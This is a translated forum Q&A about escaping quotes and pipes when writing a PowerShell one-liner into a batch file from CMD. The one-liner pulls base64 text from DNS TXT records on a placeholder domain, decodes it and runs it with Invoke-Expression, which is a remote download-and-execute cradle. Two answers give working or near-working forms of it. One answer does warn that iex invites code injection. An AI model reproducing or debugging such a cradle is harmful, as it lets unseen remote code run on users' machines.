在 CMD 中设置管道字符串并转义

在 CMD 中设置管道字符串并转义

我正在尝试做:

echo|set /P="powershell "$b64=""; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] };    
iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))" >> run.bat

但不断得到:

'ForEach-Object' is not recognized as an internal or external command, operable program or batch file.

\"我尝试了和^"等各种转义符^|,但结果仍然相同。

答案1

‘ForEach-Object’ 未被识别为内部或外部命令,

您混淆了批处理命令和 PowerShell 命令。

ForEach-Object是一个 PowerShell 命令,因此需要在 PowerShell 窗口或 PowerShell 脚本(.ps1文件中)中运行。


我想要做的是让它编写一个运行 powershell 命令的批处理文件

你把事情弄得太复杂了。

例如,在脚本文件中编写 PowerShell 命令myscript.ps1

然后创建一个批处理文件,run.cmd其中包含以下内容:

PowerShell myscript.ps1

简单、有效。

答案2

我最终让它工作了。关键是单引号。

echo 'powershell "$b64=\"\"; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt \"$_.somedomain.com\")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|'\'",\"\")))))"' > C:\run.bat

答案3

至于……

我很乐意编写一个 powershell 脚本,但它需要通过批处理来完成

... 不,不是。它可以在任何文本编辑器中完成,就像你几乎可以使用任何语言一样。好吧,只要你在输入/调试代码时不寻求辅助指导(又称 IntelliSense)。

它可能必须从 .bat/.cmd 文件调用。你混淆了开发和执行。Dev.ps1 是你想要的任何工具。它只是一个文本文件。

如果没有从 bat 文件调用 powershell.exe,则无法从 cmd.exe 本地运行 .ps1 文件。

cmd.exe 不知道 .ps1 是什么,因此不会运行它,Windows 也不会自动为您启动 powershell.exe。您必须明确调用它。没有其他方法,这是设计使然。

任何文本编辑器都可用于脚本文件。无论您使用哪种脚本语言,都没有关系。但是,如果不使用真正的编辑器,则意味着您必须在线手动查找命令信息、名称、参数等。

至于您所展示的内容,顺便说一句,不要将代码放在评论部分,请使用适当的格式更新您的帖子问题,以便更轻松地处理。

这是纯粹的 cmd.exe 东西,当然,cmd.exe 会运行它。

echo|set /P="$b64=""

使用 PowerShell 时,“echo”是 Write-Host 的别名,大多数情况下不需要将输出发送到屏幕,因为输出到屏幕是 PowewrShells 的默认设置,除非您告诉它执行其他操作,并且这不是在 PowerShell 中设置变量的方式。根本不需要 echo|set /P 。您只需要变量名称...

$b64="" 

...在引号中输入您需要的任何值

PowerShell 保留了特殊字符,分号是一个终止符,这意味着分号左右两侧的任何内容都是完全独立的代码块,并且可以独立运行。

';' 

在 PowerShell 中将分号与所有代码放在同一行不会使其成为 ONe-Liner,也不会像管道 '|' 那样将结果从分号左侧发送到右侧。

这就是你将数组/集合发送到 PowerShell 循环,而没有调用 PowerShell,因此不会起作用,就是这样。同样,因为 cmd.exe 不知道这些东西是什么,而且 powershell.exe 未运行,所以你无法使用 PowerShell 代码。

您必须运行 powershell.exe 并将所有这些作为命令字符串传递给它,或者将其保存为 .ps1,然后只需启动 powershell.exe 并调用 .ps1 文件即可。需要注意的是,使用 Invoke-Expression (iex) 是一种非常糟糕的做法。多年来,有很多关于为什么不应该使用它的文章,甚至直接来自 MS PowerShell 团队,甚至在 2018 年还讨论了彻底废除它。

来自 MS PowerShell 团队

2011 年 6 月 3 日

Invoke-Expression 被视为有害

那么 Invoke-Expression 有什么问题呢?

  • 这使得正确引用变得复杂
  • 这使得维护脚本更加困难
  • 它比其他方案慢
  • 也许最糟糕的是,它会打开一个脚本来实施代码注入攻击

提供何时避免/使用 Invoke-Expression 的指导

Invoke-Expression 是邪恶的

为什么 Invoke-Expression 是邪恶的

(1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))" 

这...

powershell.ps1

...说的是,你正在尝试在 cmd.exe 中构建一个包含 PowerShell 代码的命令,并将该命令另存为 .ps1。这让你毫无理由地辛苦工作。

  1. 打开记事本
  2. 将其复制到记事本文件中

    (1..2)| ForEach-Object { $b64 + =(nslookup -q = txt“$_.somedomain.com”)[-1] };iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|“',“”)))))”

  3. 将其保存为 SomeFileName.ps1

然后正常运行脚本,即使使用实际上只有两行的 .bat/.cmd 文件。

echo|set /P="$b64=""
powershell -file "D:\temp\test.ps1"

将其保存为 .bat/.cmd,正常双击即可运行。

或者只需在 .bat/.cmd 文件中设置一行,就像您在注释中所显示的那样,这样做。

powershell.exe -noprofile echo|set /P="$b64=""; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))"

需要注意的是,无论哪种方式,该命令在语法上都是不正确的。引号并不全部对齐。如果您使用 PowerShell 编辑器,内置的 IntelliSense 会提醒您这一点,并且运行 Windows PowerShell 2x 或更高版本的每个 Windows 框都有一个内置的 PowerShell 编辑器,名为 powershell_ise.exe,位于与 powershell.exe 相同的文件夹中。甚至还有用于脚本和 GUI 开发的免费在线 PowewrSHell 编辑器。

https://poshgui.com

因此,除非出于选择,否则没有理由不使用真正的 PowerShell 编辑器。

您不能双击 .ps1 并期望它运行。根据设计,.ps1 仅被视为/注册为文本文件,并且如上所述,必须通过 powershell.exe 明确调用。

这也是人们使用.bat/cmd 文件来启动.ps1 的原因。

您可以更改此设置,但作为最佳实践,请不要这样做,因为这可能会导致 RPE(恢复生成事件)。坦率地说,我一直认为 .bat/.cmd/.vbs 都应该设置为不通过双击自动运行,等等。

双击或单击某些东西会导致我们几十年及未来必须处理的所有风险。

阅读这些内容或观看 Youtube 上有关该主题的视频。

PowerShell 命令行选项

https://docs.microsoft.com/en-us/powershell/scripting/components/console/powershell.exe-command-line-help?view=powershell-7

从 cmd.exe(或开始 | 运行)调用 PowerShell 脚本

https://poshoholic.com/2007/09/27/invoking-a-powershell-script-from-cmdexe-or-start-run

如何运行 PowerShell 脚本

https://ss64.com/ps/syntax-run.html

相关内容